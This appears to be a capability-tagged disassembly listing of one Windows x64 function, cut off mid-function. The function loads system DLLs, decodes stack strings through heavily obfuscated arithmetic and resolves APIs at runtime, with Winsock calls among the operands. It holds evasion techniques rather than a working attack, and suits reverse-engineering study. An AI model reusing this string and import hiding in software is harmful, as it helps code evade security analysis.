Function at 0x14005fb00
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x398]
sub rsp, 0x498
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x3d8]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp + 8], rdx
mov qword [rbp + 0x10], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x3e0], rax
mov qword [rbp], rax
mov qword [rcx], 0
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp + 0x3e8], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
mov qword [rbp + 0x3f0], rax
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14014ee18]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
mov qword [rsp + 0x20], rax
test rsi, rsi
je 0x140072dde
test r14, r14
je 0x140072dde
test rax, rax
je 0x140072dde
test r15, r15
je 0x140072dde
mov byte [rbp + 0x1e0], 0xae
mov byte [rbp + 0x1e1], 0xc5
mov byte [rbp + 0x1e2], 0xa7
mov byte [rbp + 0x1e3], 0xc8
mov byte [rbp + 0x1e4], 0xa9
mov byte [rbp + 0x1e5], 0xd7
mov byte [rbp + 0x1e6], 0x8f
mov byte [rbp + 0x1e7], 0xd1
mov byte [rbp + 0x1e8], 0xaa
mov byte [rbp + 0x1e9], 0xac
mov byte [rbp + 0x1ea], 0xa1
mov byte [rbp + 0x1eb], 0xdf
mov byte [rbp + 0x1ec], 0xb9
mov byte [rbp + 0x1ed], 0xda
mov byte [rbp + 0x1ee], 0xd3
mov byte [rbp + 0x1ef], 0xdc
mov byte [rbp + 0x1f0], 0xa5
mov byte [rbp + 0x1f1], 0x80
mov byte [rbp + 0x1f2], 0xdc
mov byte [rbp + 0x1f3], 0xdb
mov byte [rbp + 0x1f4], 0xe9
mov byte [rbp + 0x1f5], 0xe9
mov byte [rbp + 0x1f6], 0x76
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f7], xmm0
movabs r13, 0xc307bd42291c587c
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x27
jae 0x1400607e9
movzx r9d, byte [rbp + r10 + 0x1e0]
cmp rbx, r10
ja 0x1400607e0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14005fcfb
movabs rcx, 0x94982eac501598c
add rcx, r10
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x2c
jmp 0x14005fd35
je 0x140060766
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400606fa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006069d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006067b
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140060630
movzx r11d, r9b
nop dword [rax]
cmp r8, r10
ja 0x1400607d7
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14005fd6a
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
jmp 0x14005fdb0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140060613
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400605eb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400605cf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140060584
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140060556
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400602d0
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400602b0
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006027f
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140060255
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140060231
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140060209
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400601e5
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400601bd
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140060187
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14005fdc0
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0xa]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400607ba
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006079d
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14005ff57
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14005ff33
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14005ff0f
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400600d0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140060096
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006006e
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006004a
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140060022
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14005fffe
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14005ffda
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14005ffac
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14005ff7f
lea rbx, [r8 + 0x64]
lea r8, [rbx + 9]
jmp 0x14005fdc0
movabs rcx, 0xaea1578f7bb9f04
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1c
jmp 0x14005fdb0
movabs rcx, 0xf8570fa36db8ebec
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x14005fd40
movabs rcx, 0xe5c409cde3b638d4
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x1a
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x14005fcc6
movabs rcx, 0x5aae43bbee010c8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x78
inc r8
dec r10
inc r10
jmp 0x14005fcb3
movabs rcx, 0xf317de6634dd5db0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x18
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
dec r10
inc r10
jmp 0x14005fcb3
movabs rcx, 0xe084d890aadaaa98
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x1400606bb
movabs rcx, 0xcdf1d2bb20d7f780
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
jmp 0x1400606de
movabs rcx, 0xbb5ecce596d54468
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400606e1
movabs rcx, 0xa8cbc7100cd29150
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
jmp 0x14006059e
movabs rcx, 0x9638c13a82cfde38
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x3c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140060721
movabs rcx, 0x83a5bb64f8cd2b20
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005fcb3
movabs rcx, 0x1d7d1b4e81be521c
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x1e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
lea rax, [r8 + rbx]
cmp rax, 6
je 0x140060540
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x1400603a8
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rcx, [r8 + 2]
cmp rbx, 0xa
jae 0x14006051f
cmp rbx, rcx
jbe 0x140060459
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x61
jb 0x14006050f
movzx r11d, r10b
lea edx, [r11 - 0x38]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006064e
movabs rcx, 0x922e6f8cf6aa12e8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005fcb3
movabs rcx, 0x7f9b69b76ca75fd0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x28
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140060721
movabs rcx, 0x5a755e0c58a1f9a0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x1400606e1
movabs rcx, 0x47e25836ce9f4688
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x24
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400606de
movabs rcx, 0x354f5261449c9370
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x1400606bb
movabs rcx, 0x22bc4c8bba99e058
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x68
dec r10
inc r10
jmp 0x14005fcb3
movabs rcx, 0x102946b630972d40
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x20
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14005fcb3
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
movzx r11d, r10b
jmp 0x14006064b
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x1400602f8
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400600f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140060332
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005fcb3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140060357
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
jmp 0x14006059b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006037f
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400606e1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400600f3
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
jmp 0x1400606b8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400603d1
movzx r11d, r10b
lea edx, [r11 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x14006064b
lea rcx, [r8 + 2]
cmp rbx, rcx
jne 0x140060402
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14005fcb3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006042d
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
dec r10
inc r10
jmp 0x14005fcb3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006012c
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400606de
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140060493
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005fcb3
cmp rbx, rcx
jne 0x1400604b4
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
jmp 0x14006071e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400604d9
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
jmp 0x1400606de
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400604f0
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400606aa
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140060159
movzx r11d, r10b
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x14006063d
mov byte [rbp + r10 + 0x1e0], dil
inc r10
jmp 0x14005fcb3
lea edx, [r10 - 0x20]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x1e0]
sub dil, al
sub dil, 0x20
jmp 0x1400606b5
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006059b
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005fcb3
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea edx, [r10 - 0x7c]
movzx eax, r11b
and al, dl
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x1e0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140060721
lea edx, [r10 - 0x24]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 4
jmp 0x1400606b8
lea edx, [r10 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14005fcb3
movzx r11d, r10b
lea edx, [r11 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
jmp 0x14006064b
movzx r11d, r10b
lea edx, [r11 + 0x64]
mov ecx, 0x22
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x54
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x4c
add r9b, r11b
mov byte [rbp + r10 + 0x1e0], r9b
inc r8
dec r10
inc r10
jmp 0x14005fcb3
lea ecx, [r10 + 0x34]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6c
dec r10
inc r10
jmp 0x14005fcb3
lea edx, [r10 + 0x1c]
mov ecx, 0x1e
movzx r11d, r9b
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea edx, [r10 + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, dil
mov byte [rbp + r10 + 0x1e0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14005fcb3
movabs rdx, 0x2e6f8e95d906bfbc
add rdx, r10
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
movzx r11d, r9b
add dil, dl
lea ecx, [r10 + 0x10]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x70
add r11b, cl
mov byte [rbp + r10 + 0x1e0], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005fcb3
movabs rcx, 0x1bdc88c04f040ca4
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005fcb3
sub r10b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
jmp 0x14005fcb0
sub r10b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
jmp 0x14005fc94
lea rdx, [rbp + 0x1682bf0]
jmp 0x1400607f0
lea rdx, [rbp + 0x69857c]
jmp 0x1400607f0
lea rdx, [rbp + 0x1e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
mov byte [rbp + 0x20], 0x5f
mov byte [rbp + 0x21], 0x7e
mov byte [rbp + 0x22], 0x8c
mov byte [rbp + 0x23], 0x5e
mov byte [rbp + 0x24], 0x8d
mov byte [rbp + 0x25], 0x8f
mov byte [rbp + 0x26], 0x81
mov byte [rbp + 0x27], 0x8e
mov byte [rbp + 0x28], 0x8c
mov byte [rbp + 0x29], 0x69
mov byte [rbp + 0x2a], 0x89
mov byte [rbp + 0x2b], 0x86
mov byte [rbp + 0x2c], 0x1a
xor eax, eax
mov qword [rbp + 0x2d], rax
movabs rsi, 0xe1c619d9d0c24083
movabs r13, 0xa5524d8d7246c189
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov rax, qword [rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x14006136e
movzx r9d, byte [rbp + r10 + 0x20]
mov r8, r9
nop dword [rax]
cmp rbx, r10
ja 0x140061365
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x1400608ac
lea rdx, [r10 + rsi]
mov rcx, r9
and rcx, rdx
imul rdi, rcx, 0xfffffffffffffffe
add rdi, r9
add rdi, rdx
add dil, 0x6b
jmp 0x1400608e6
je 0x1400612f8
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x1400612a3
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140061282
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x14006125e
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x14006121a
cmp rax, r10
ja 0x14006135c
lea rcx, [rax + 0x400]
cmp rbx, rcx
jae 0x140060913
lea edx, [r10 - 0x41]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x39
jmp 0x140060940
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x1400611fe
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x1400611dd
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400611c2
nop word [rax + rax]
lea rcx, [rax + rbx]
cmp rcx, r10
jbe 0x140060e2d
nop dword [rax]
lea rcx, [rax + 0x40]
cmp rbx, rcx
je 0x140060e0e
lea rcx, [rax + 0x80]
cmp rbx, rcx
je 0x140060dea
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140060dc9
lea rcx, [rax + 0x64]
cmp rbx, rcx
je 0x140060da5
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140060d85
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x140060d65
lea rcx, [rax + 0x200]
cmp rbx, rcx
je 0x140060d46
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140060d2b
lea rbx, [rax + 0x2a]
lea rax, [rbx + 6]
lea rcx, [rax + 0x28]
cmp rbx, rcx
jb 0x14006133f
lea rcx, [rax + 0x5a]
cmp rbx, rcx
jb 0x140061322
lea rcx, [rax + 0x20]
cmp rbx, rcx
jb 0x140060afa
lea rcx, [rax + 0x42]
cmp rbx, rcx
jb 0x140060adf
lea rcx, [rax + 1]
cmp rbx, rcx
jb 0x140060ac4
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x140060cdc
lea rcx, [rax + 0x2a]
cmp rbx, rcx
jb 0x140060c8f
lea rcx, [rax + 3]
cmp rbx, rcx
jb 0x140060c4a
lea rcx, [rax + 0x64]
cmp rbx, rcx
jb 0x140060c27
lea rcx, [rax + 2]
cmp rbx, rcx
jb 0x140060950
lea rbx, [rax + 9]
lea rax, [rbx + 0x42]
lea rcx, [rax + 0x1000]
cmp rbx, rcx
ja 0x140060bfd
lea rcx, [rax + 0x41]
cmp rbx, rcx
ja 0x140060bdd
lea rcx, [rax + 0x10]
cmp rbx, rcx
ja 0x140060bb9
lea rcx, [rax + 0x7a]
cmp rbx, rcx
ja 0x140060b99
lea rcx, [rax + 0xa]
cmp rbx, rcx
ja 0x140060b7e
lea rcx, [rax + 0x28]
cmp rbx, rcx
ja 0x140060b5f
lea rcx, [rax + 0x5a]
cmp rbx, rcx
ja 0x140060b3e
lea rcx, [rax + 0x20]
cmp rbx, rcx
ja 0x140060b15
lea rbx, [rax + 8]
lea rax, [rbx + 0x40]
jmp 0x140060950
lea edx, [r10 + 0x21]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x19
jmp 0x140060940
lea edx, [r10 + 0x1b]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x43
jmp 0x1400608e6
lea edx, [r10 + 0x15]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x6d
jmp 0x140060876
lea r8d, [r10 - 0xe]
movzx ecx, r8b
and cl, r9b
mov edx, 0x31
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
inc rax
dec r10
inc r10
jmp 0x140060866
lea edx, [r10 - 0x14]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x74
dec r10
inc r10
jmp 0x140060866
lea edx, [r10 - 0x1a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x4a
movzx r11d, r10b
jmp 0x1400612bd
lea edx, [r10 - 0x20]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x20
jmp 0x1400612dc
lea r8d, [r10 - 0x26]
movzx ecx, r8b
and cl, r9b
mov edx, 5
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x1400612df
lea r8d, [r10 - 0x2c]
movzx ecx, r8b
and cl, r9b
mov edx, 0x1a
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx r11d, r10b
jmp 0x140061156
lea r8d, [r10 - 0x32]
movzx ecx, r8b
and cl, r9b
mov edx, 0x2f
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14006117f
lea edx, [r10 - 0x38]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x78
movzx ecx, byte [rbp + r10 + 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060866
lea edx, [r10 + 0x39]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x71
mov byte [rbp + r10 + 0x20], dil
inc r10
jmp 0x140060866
lea edx, [r10 + 0x33]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x65
cmp rax, 0x5a
jb 0x140060c3d
movzx r11d, r10b
lea edx, [r11 + 0x32]
movzx ecx, dl
and cl, r9b
mov r8d, reloc.WS2_32.dll_recvfrom
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r9b
lea edi, [r8 + r8]
jmp 0x140061234
lea edx, [r10 + 0x2d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3b
cmp rbx, 0x80
jae 0x140061115
lea rcx, [rax + 0x7a]
cmp rbx, rcx
jbe 0x140061050
lea r8d, [r10 - 0xa]
movzx ecx, r8b
and cl, r9b
mov edx, 0x23
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140060c60
lea edx, [r10 + 0x27]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x11
lea rcx, [rax + rbx]
cmp rcx, 0x200
je 0x14006113a
lea rcx, [rax + 0x42]
cmp rbx, rcx
jbe 0x140060f81
lea edx, [r10 + 0x37]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x7f
jmp 0x140060ca5
lea edx, [r10 + 0x74]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x2c
jmp 0x14006117f
movzx r11d, r10b
lea edx, [r11 + 0x6e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 2
jmp 0x140061156
lea r8d, [r10 + 0x68]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x1400612df
lea r8d, [r10 + 0x62]
movzx ecx, r8b
and cl, r9b
mov edx, 0x29
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x1400612dc
movzx r11d, r10b
lea r8d, [r11 + 0x5c]
movzx ecx, r8b
and cl, r9b
mov edx, 0x3e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x1400612bd
lea edx, [r10 + 0x56]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x5a
dec r10
inc r10
jmp 0x140060866
lea edx, [r10 + 0x50]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x30
inc rax
dec r10
inc r10
jmp 0x140060866
lea edx, [r10 + 0x4a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 6
movzx r11d, r10b
jmp 0x140061234
lea rcx, [rax + 0x61]
cmp rbx, rcx
jae 0x140060e51
lea edx, [r10 - 0x7d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x6b
jmp 0x140060cf2
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140060e84
lea edx, [r10 + 0x7e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x72
movzx ecx, byte [rbp + r10 + 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060866
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140060ead
lea r8d, [r10 - 0x7c]
movzx ecx, r8b
and cl, r9b
mov edx, 0x32
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14006117f
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140060eda
movzx r11d, r10b
lea r8d, [r11 - 0x76]
movzx ecx, r8b
and cl, r9b
mov edx, 0x1d
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061156
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140060efe
lea edx, [r10 - 0x6a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x1a
jmp 0x1400612dc
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140060f26
movzx r11d, r10b
lea edx, [r11 - 0x64]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x44
jmp 0x1400612bd
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140060f50
lea edx, [r10 - 0x5e]
movzx ecx, dl
